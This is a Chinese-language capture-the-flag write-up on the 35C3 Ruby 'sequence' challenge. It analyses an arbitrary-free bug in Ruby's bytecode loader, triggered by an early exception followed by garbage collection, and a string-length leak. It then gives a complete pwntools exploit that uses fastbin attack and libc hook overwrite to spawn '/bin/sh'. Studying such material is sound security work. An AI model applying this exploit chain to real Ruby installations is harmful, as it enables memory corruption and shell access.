突然发现去年的今天写的也是C3CTF的writeup,同样最后都卡在了ruby的题上,只是不同的是去年搞定了4个题,今年不仅只看了一个题,而且到比赛结束都没有搞定,非常不开心。。。
今年最后一场比赛就看了ruby的sequence这一题,题目逻辑很简单,主要功能就是加载用户提供的ruby字节码然后disasm,并disable了glibc中的tcache
strs = {}
loop do
print '> '
STDOUT.flush
cmd, *args = gets.split
begin
case cmd
when 'disas'
stridx = args[0].to_i
puts RubyVM::InstructionSequence::load_from_binary(strs[stridx]).disasm
when 'gc'
GC.start
when 'write'
stridx, i, c = args.map(&:to_i)
(strs[stridx] ||= "\0"*(i + 1))[i] = c.chr
when 'delete'
stridx = args[0].to_i
strs.delete stridx
else
puts "Unknown command"
end
STDOUT.flush
rescue => e
puts "Error: #{e}"
end
end
看代码可以猜测问题大概是出在load_from_binary
或disasm
上,而且README.md
里也提供了fuzzing的方法https://github.com/niklasb/rubyfun,我也fuzzing出了很多crash。官方writeup在https://github.com/niklasb/35c3ctf-challs/tree/master/sequence,他用的漏洞是load operands时没有检查operands的数量是否大于字节码的长度导致的堆溢出写,利用方法是堆风水然后fastbin attack,有点复杂。比赛时我找到了另一个漏洞,但是没有写出exp,感觉堆风水比官方预期解法还要复杂。
这里主要写一下拿first-blood的5BC他们的非预期解法,暂时没有公开exp,但是可以看到他们使用的漏洞描述https://github.com/yannayl/ctf-writeups/tree/master/2018/ccc/sequence,他们好像自己都不太清楚漏洞的原因。我在看了他们的描述后,马上意识到我其实是fuzzing出了这个漏洞的,只是当时由于在我的测试程序中没有触发crash就被我忽略了,测试程序就一行代码
puts RubyVM::InstructionSequence.load_from_binary(File.read(ARGV[0])).disasm
但其实这个漏洞是需要调用GC
才能触发,因为ruby只有在几个点才会调用GC
,例如ruby_xmalloc
和ruby_xrealloc
失败的时候,因此需要手动去调用。例如这个crash在测试程序加上GC
后就能被触发
begin
puts RubyVM::InstructionSequence.load_from_binary(File.read(ARGV[0])).disasm
rescue => e
puts "Error: #{e}"
end
GC.start
下面看一下出问题的代码,用IDA更清楚一点
void __cdecl ibf_load_iseq_each(const ibf_load *load, rb_iseq_t *iseq, ibf_offset_t offset)
{
rb_iseq_constant_body *v3; // rax
VALUE v4; // rax
VALUE *v5; // rax
unsigned int v6; // eax
VALUE v7; // rax
VALUE v8; // rax
VALUE exc; // [rsp+48h] [rbp-58h]
VALUE pathobj; // [rsp+60h] [rbp-40h]
VALUE path; // [rsp+68h] [rbp-38h]
VALUE realpath; // [rsp+70h] [rbp-30h]
VALUE realpatha; // [rsp+70h] [rbp-30h]
const rb_iseq_constant_body *body; // [rsp+78h] [rbp-28h]
rb_iseq_constant_body *load_body; // [rsp+80h] [rbp-20h]
ibf_offset_t offseta; // [rsp+8Ch] [rbp-14h]
offseta = offset;
v3 = (rb_iseq_constant_body *)ruby_xcalloc(1uLL, 0x128uLL);
iseq->body = v3;
load_body = v3;
body = (const rb_iseq_constant_body *)&load->buff[offseta];
v3->type = body->type;
v3->stack_max = body->stack_max;
memcpy(&v3->param, &body->param, 0x30uLL);
load_body->local_table_size = body->local_table_size;
load_body->is_size = body->is_size;
load_body->ci_size = body->ci_size;
load_body->ci_kw_size = body->ci_kw_size;
load_body->insns_info.size = body->insns_info.size;
rb_obj_write_1((VALUE)iseq, &iseq->body->variable.coverage, 8uLL, "compile.c", 9054);
ISEQ_ORIGINAL_ISEQ_CLEAR(iseq);
iseq->body->variable.flip_count = body->variable.flip_count;
realpath = 8LL;
v4 = ibf_load_object(load, body->location.pathobj);
path = v4;
if ( v4 & 7 || !(v4 & 0xFFFFFFFFFFFFFFF7LL) || (*(_DWORD *)v4 & 0x1F) != 5 )
{
if ( v4 & 7 || !(v4 & 0xFFFFFFFFFFFFFFF7LL) || (*(_DWORD *)v4 & 0x1F) != 7 )
{
rb_raise(rb_eRuntimeError, "unexpected path object");
}
else
{
pathobj = v4;
if ( rb_array_len_2(v4) != 2 )
rb_raise(rb_eRuntimeError, "path object size mismatch");
v5 = (VALUE *)rb_array_const_ptr_transient_2(path);
path = rb_fstring(*v5);
realpath = rb_array_const_ptr_transient_2(pathobj)[1];
if ( realpath != 8 )
{
if ( realpath & 7 || !(realpath & 0xFFFFFFFFFFFFFFF7LL) || (*(_DWORD *)realpath & 0x1F) != 5 )
{
exc = rb_eArgError;
v6 = rb_type(realpath);
rb_raise(exc, "unexpected realpath %lx(%x), path=%+li\v", realpath, v6, path);
}
realpath = rb_fstring(realpath);
}
}
rb_iseq_pathobj_set(iseq, path, realpath);
}
else
{
realpatha = rb_fstring(v4);
rb_iseq_pathobj_set(iseq, realpatha, realpatha);
}
v7 = ibf_load_location_str(load, body->location.base_label);
rb_obj_write_1((VALUE)iseq, &load_body->location.base_label, v7, "compile.c", 9085);
v8 = ibf_load_location_str(load, body->location.label);
rb_obj_write_1((VALUE)iseq, &load_body->location.label, v8, "compile.c", 9086);
load_body->location.first_lineno = body->location.first_lineno;
load_body->location.node_id = body->location.node_id;
load_body->location.code_location.beg_pos = body->location.code_location.beg_pos;
load_body->location.code_location.end_pos = body->location.code_location.end_pos;
load_body->is_entries = (iseq_inline_storage_entry *)ruby_xcalloc(body->is_size, 0x18uLL);
load_body->ci_entries = ibf_load_ci_entries(load, body);
load_body->cc_entries = (rb_call_cache *)ruby_xcalloc(body->ci_kw_size + body->ci_size, 0x28uLL);
load_body->param.opt_table = ibf_load_param_opt_table(load, body);
load_body->param.keyword = ibf_load_param_keyword(load, body);
load_body->insns_info.body = ibf_load_insns_info_body(load, body);
load_body->insns_info.positions = ibf_load_insns_info_positions(load, body);
load_body->local_table = ibf_load_local_table(load, body);
load_body->catch_table = ibf_load_catch_table(load, body);
load_body->parent_iseq = ibf_load_iseq(load, body->parent_iseq);
load_body->local_iseq = ibf_load_iseq(load, body->local_iseq);
ibf_load_code(load, iseq, body);
rb_iseq_insns_info_encode_positions(iseq);
rb_iseq_translate_threaded_code(iseq);
}
可以看到第25
行从用户提供的binary中复制了0x30
个字节到load_body->param
,如果正常执行下去到80
行和81
行,它又会申请内存来加载param_opt_table
和param_opt_keyword
并存放到load_body->param.opt_table(offset:0x20)
和load_body->param.keyword(offset:0x28)
,后面GC
时就会把申请的内存free
掉。但其实这里有一个问题,如果在前面就抛出一个异常直接返回,那param.opt_table
和param.keyword
就是用户可以控制的内容,而题目中又恰好捕获了异常可以让用户调用GC
,因此给了用户free
任意地址的机会。
信息泄露有很多种方式,最简单的是改字符串的长度,因为string->len
是用户可控的,当然也有其他更复杂的方式
static VALUE
ibf_load_object_string(const struct ibf_load *load, const struct ibf_object_header *header, ibf_offset_t offset)
{
const struct ibf_object_string *string = IBF_OBJBODY(struct ibf_object_string, offset);
VALUE str = rb_str_new(string->ptr, string->len);
int encindex = (int)string->encindex;
if (encindex > RUBY_ENCINDEX_BUILTIN_MAX) {
VALUE enc_name_str = ibf_load_object(load, encindex - RUBY_ENCINDEX_BUILTIN_MAX);
encindex = rb_enc_find_index(RSTRING_PTR(enc_name_str));
}
rb_enc_associate_index(str, encindex);
if (header->internal) rb_obj_hide(str);
if (header->frozen) str = rb_fstring(str);
return str;
}
最后也是用fastbin attack搞定
# test5.ruby
# a = 'AAAAAAAA'
from pwn import *
import os
import subprocess
LOCAL = 0
DEBUG = 0
VERBOSE = 0
TEST = 1
context.terminal = ['tmux', 'splitw', '-h']
if VERBOSE:
context.log_level = 'debug'
else:
context.log_level = 'critical'
if LOCAL:
io = process(['./miniruby', 'challenge.rb'], env={'LD_LIBRARY_PATH': '/chall'})
if DEBUG:
gdb.attach(io, '')
else:
io = remote('127.0.0.1', 1337)
io.recvuntil('challenge: ')
challenge = io.recvuntil('\n')[:-1]
print challenge
response = subprocess.check_output('./pow.py ' + challenge, shell=True)
print response.split(' ')[-1][:-1]
io.recvuntil('Your response? ')
io.sendline(response.split(' ')[-1][:-1])
def write(stridx, idx, val):
io.recvuntil('> ')
io.sendline('write %d %d %d' % (stridx, idx, val))
def disas(stridx):
io.recvuntil('> ')
io.sendline('disas %d' % stridx)
def delete(stridx):
io.recvuntil('> ')
io.sendline('delete %d' % stridx)
def gc():
io.recvuntil('> ')
io.sendline('gc')
def c4(data, idx, val):
for i in range(4):
data[idx+i] = p32(val)[i]
def c8(data, idx, val):
for i in range(8):
data[idx+i] = p64(val)[i]
def create_str(stridx, string):
for i in range(len(string) - 1, -1, -1):
write(stridx, i, ord(string[i]))
def parse(s):
res = []
i = 0
while i < len(s)-1:
c = s[i]
if c != '\\':
res.append(c)
i += 1
else:
nxt = s[i+1]
escapes = '\\tbfva"\'nre#'
sub = "\\\t\b\f\v\a\"'\n\r\x1b#"
if nxt in escapes:
res.append(sub[escapes.index(nxt)])
i += 2
elif nxt == 'x':
res.append(chr(int(s[i+2:i+4], 16)))
i += 4
else:
assert False, repr(nxt)
return ''.join(res)
for i in range(0x2000):
write(0x10+i, 0x100+i-1, 0)
os.system('LD_LIBRARY_PATH=/chall ./miniruby ./make_sample.rb test5.rb test5.bin')
with open('test5.bin', 'rb') as f:
test_bin = list(f.read())
leak_size = 0x10000
c8(test_bin, 0x210, leak_size)
create_str(0, test_bin)
disas(0)
io.recvuntil('AAAAAAAA')
leak_data = io.recvn(0x20000)
io.recvuntil('0005 leave')
leak_val = parse(leak_data)
fake_chunk_idx = None
libc = None
for i in range(0, len(leak_val)/8*8, 8):
val = u64(leak_val[i:i+8])
if val == 0x502065 and fake_chunk_idx == None:
fake_chunk_idx = u64(leak_val[i+16:i+24]) - 0x100 + 0x10
buf_addr = u64(leak_val[i+24:i+32])
print 'fake_chunk_idx:', hex(fake_chunk_idx)
print 'buf_addr', hex(buf_addr)
break
elif val >> 40 == 0x7f and val & 0xfff == 0xc80 and libc == None:
libc = val - 0x1dcc80
print 'libc:', hex(libc)
elif libc != None and fake_chunk_idx != None:
break
if libc == None or fake_chunk_idx == None:
print 'leak failed'
exit(0)
fake_chunk = p64(0) + p64(0x71)
fake_chunk += p64(0) * 12
fake_chunk += p64(0) + p64(0x71)
create_str(fake_chunk_idx, fake_chunk)
with open('test5.bin', 'rb') as f:
test_bin = list(f.read())
c4(test_bin, 0x1e0, 1<<5)
c4(test_bin, 0x1e4, 7)
c8(test_bin, 0xc0, buf_addr+0x10)
create_str(1, test_bin)
disas(1)
gc()
create_str(fake_chunk_idx, p64(0) + p64(0x71) + p64(libc+0x1dcbed))
create_str(2, '/bin/sh;'.ljust(0x60, '\x00'))
create_str(3, ('\x00'*11 + p64(libc+0x4f370)).ljust(0x60, '\x00'))
write(2, 0x60, 0)
io.interactive()
总之还是基础不够扎实,如果我实现过一门面向对象的语言或者有足够的fuzzing经验,也许当时就会想到那个crash的原因。
最后的最后再发一些牢骚,2018年发生了很多事,正式毕业,工作也快半年了,越来越觉得自己的知识不够用,还有很多东西需要学。路还很长,不要忘记善良。
推荐资料